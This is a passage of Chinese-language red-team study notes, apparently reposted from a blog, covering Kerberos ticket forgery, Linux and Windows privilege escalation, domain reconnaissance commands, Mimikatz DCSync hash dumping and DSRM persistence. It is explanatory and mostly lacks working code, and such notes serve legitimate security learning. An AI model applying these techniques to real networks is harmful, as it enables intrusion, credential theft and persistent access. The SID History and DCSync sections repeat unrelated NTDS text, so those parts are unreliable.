在一些计算机中,即使将Administator账号改名,也不会影响SID的值。所以,如果攻击者使用SID

为500的账号进行横向移动,就不会受到KB2871997的影响

PTT(pass the ticket)

黄金票据和白银票据的区别:黄金票据与KDC通信,黄金票据是伪装kerberos认证的第一阶段的TGT,而

白银票据在 kerberos 认证的第三步 Ticket 中组成

黄金票据伪造

条件

  1. 完整的域名称

  2. krbtgt 账户的 NTLM Hash 或者 AES-256

  3. 域的 sid

  4. 需要伪造的域管理员用户名

白银票据伪造

条件

  1. 域名

  2. 域 SID

  3. 目标服务器的 FQDN

  4. 可利用的服务

  5. 服务账号的 NTLM Hash

  6. 需要伪造的用户名

提权

linux

内核提权

老版的脏牛和前几天的pcexec

SUID提权

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行

root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限

find / -perm -u=s -type f 2>/dev/null

SUDO提权

普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理

方便,sudoer配置文件错误导致提权。

计划任务

如果可以找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置

不当。

ls -l /etc/cron*

more /etc/crontab

MySQL提权

udf提权

udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,

性质就象使用本地MYSQL函数如abs()或concat()。 通过udf创建能够执行系统命令的函数sys_exec、

sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限。

mof提权

"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,

然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段

是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

windows

内核漏洞

systeminfo

或

wmic qfe get caption,description,hotfixid,installedon

KiTrap0D和KB979682对应、MS10-021和KB979683对应

计划任务提权

如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计

划任务下次执行时,就会以高权限运行恶意程序,进而完成提权。

内网信息收集

查询域

net view /domain

查询所有域成员计算机列表

net group "domain computers" /domain

获取域管理员列表

net group "Domain Admins" /domain

列出本机所有进程及进程用户

Tasklist /v

集群域和工作组的区别

工作组

是局域网中的一个概念,它是最常见的资源管理模式,简单是因为默认情况下计算机都是采用工作组方

式进行资源管理的。将不同的电脑按功能分别列入不同的组中,以方便管理。默认情况下所有计算机都

处在名为 WORKGROUP 的工作组中,工作组资源管理模式适合于网络中计算机不多,对管理要求不严

格的情况。

域 (Domain)是一个有安全边界的计算机集合( 安全边界,意思是在两个域中,一个域中的用户无法访

问另一个域中的资源)。它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥

有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户

身份。

集群

“群集”是一组协同工作并运行Microsoft群集服务的独立服务器。允许客户端在出现故障和计划中的暂停

时依然能够访问应用程序和资源,如果群集中的某台服务器由于故障或维护需要而无法使用时,资源和

应用程序将转移到可用的群集节点上。

linux基础命令

检测内核版本

# 查看系统发行版本

lsb_release -a

# 查看内核版本

uname -a

root 的历史命令

history

/home各帐号目录下的.bash_history,查看普通帐号的历史命令

检查异常端口、进程

1.使用netstat 网络连接命令,分析可疑端口、IP、PID

2.netstat -antlp|more

3.查看下pid所对应的进程文件路径,运行ls -l /proc/$PID/exe或file /proc/$PID/exe($PID 为对应

的pid 号),查看启动命令ps –ef |grep $PID(效果同 ps aux |grep $PID)

4.查看端口是否开启:lsof -i:端口号 或者netstat -atu检查linux中的开放端口

dunp hash

有域控怎么dunp hash

Mimikatz

Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值。

这样子解决了需要直接使用域控制器进行身份验证的需要,因为它可以从域管理员的上下文中获得执行

权限。

NTDS

它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数

据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位

置以进行离线分析和密码哈希的提取。

DCSync

该NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和

管理Windows Active Directory数据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文

件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取。

权限维持

SID History

它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数

据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位

置以进行离线分析和密码哈希的提取。

DSRM

域控上有个账户,名字为目录服务还原模式账户又名DSRM账户,它的密码是安装DC的时候设置的,一

般不会修改。但是当DSRM账户被修改的时候,域控的本地管理员administrator账户密码的hash也会被

修改,并且与DSRM账户的hash是一样的。这时候即使再次修改了本地管理员administrator账户的明文

密码,sam文件的hash也不会更改,只会更改ntds.dit文件中的hash。综上,意味着只要我们能够更改

DSRM的账号密码,我们就能够通过DSRM的密码的hash登陆域控主机,并且即使域控主机的本地管理

员密码改变了,DSRM的hash也不会变,我们依旧可以利用pth攻击来登陆。该攻击需要使用域控上的

ntdsutil工具修改DSRM账户的密码(保证自己知道的密码),然后需要修改dsrm的登录方式因为在

windows server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制

在注册表中新建HKLM:SystemCurrentControlSetControlLsaDsrmAdminLogonBehavior项。

DSRM的三种登录方式:

0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。

1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。

2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。

如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2

委派攻击

分别是非约束性委派、约束性委派和基于资源的约束性委派。

非约束性委派

在非约束性委派中,服务账号可以获取域用户的 TGT,并使用该 TGT 模拟域用户访问任意服务。配置了

非约束性委派的账户的 userAccountControl 属性会设置 TRUSTED_FOR_DELEGATION 标志位。下图所

示为非约束性委派的完整请求过程。

约束性委派

微软为 Kerberos 协议的 TGS_REQ 和 TGS_REP 阶段引入了两个扩展协议 S4u2self(Service for User

to Self)和 S4U2proxy(Service for User to Proxy)。

S4U2self 扩展允许服务代表用户获取针对自己的服务票据,S4U2proxy 允许服务代表用户获取另一个

服务的服务票据。约束委派就是限制了 S4U2proxy 扩展的请求范围,使得配置了委派属性的服务只能模

拟用户身份访问特定的其他服务。配置了约束性委派的账户的 userAccountControl 属性会设置

TRUSTED_TO_AUTH_FOR_DELEGATION 标志位,并且账户的 msDS-AllowedToDelegateTo 属性会被

设置为对哪些服务进行委派。下图所示为约束性委派中,S4U2self 和 S4U2proxy 扩展的完整请求过

程。

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/Tzyyyyy/p/17600126.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!